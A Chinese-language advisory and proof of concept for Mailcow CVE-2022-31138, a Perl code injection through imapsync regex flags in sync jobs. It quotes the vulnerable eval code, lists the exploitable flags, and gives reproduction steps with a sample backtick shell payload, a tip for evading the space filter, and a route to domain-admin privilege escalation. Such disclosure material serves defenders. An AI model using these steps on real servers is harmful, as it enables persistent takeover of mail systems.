
Mailcow CVE-2022-31138 的概念验证利用,通过同步作业正则表达式字段中的 Perl 代码注入实现远程代码执行,并提升权限至域管理员。
Mailcow 的 RCE 和域管理员权限提升。针对 CVE-2022-31245 的 POC 可修改后适用于此漏洞。
报告并修复时间:2022-06
类型:代码注入 (CWE-94),RCE,域名接管
受影响版本:至少 2019 - 2022-06a
所有较新的 Mailcow 版本中存在一个缺陷,系统普通用户可利用“同步任务”功能,通过向 imapsync 中的任意正则表达式字段注入 Perl 代码来获取 shell。利用此漏洞,攻击者可以轻松转向数据库,并在 Mailcow 中将权限提升至“域管理员”。
此利用默认包含持久化,因为同步任务按定时器运行。
此利用会危及整个 Mailcow 实例。在截至 2022-06a 的最新版本上测试通过。
imapsync 中几乎所有的正则表达式都通过 eval 函数求值,当参数由用户输入提供时,这是极不安全的。例如,以下是 imapsync 中解析 --regexmess 的方式(第 14213 行):
sub regexmess
{
my ( $string ) = @_ ;
foreach my $regexmess ( @regexmess ) {
$sync->{ debug } and myprint( "eval \$string =~ $regexmess\n" ) ;
my $ret = eval "\$string =~ $regexmess ; 1" ;
在 Mailcow 中,$regexmess 由用户输入提供。
以下 imapsync 标志(可能还有更多)可用于实现代码执行:
--regexmess
--skipmess
--regexflag
--delete2foldersonly
--delete2foldersbutnot
--regextrans2
按照以下步骤可复现该漏洞。
获取 shell:
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --regexmess=PERL_CODE
其中“Custom Parameters”字段是关键字段。PERL_CODE 可以是任意 Perl 代码。自定义参数示例 payload:
--debug --nosslcheck --regexmess=`touch\x{0020}test.txt`
PERL_CODE 不能包含空格、引号或斜杠,用 \x{0020} 代替空格。使用 ` 来执行 shell 命令。
权限提升:
按照 CVE-2022-31245 中相同的步骤操作。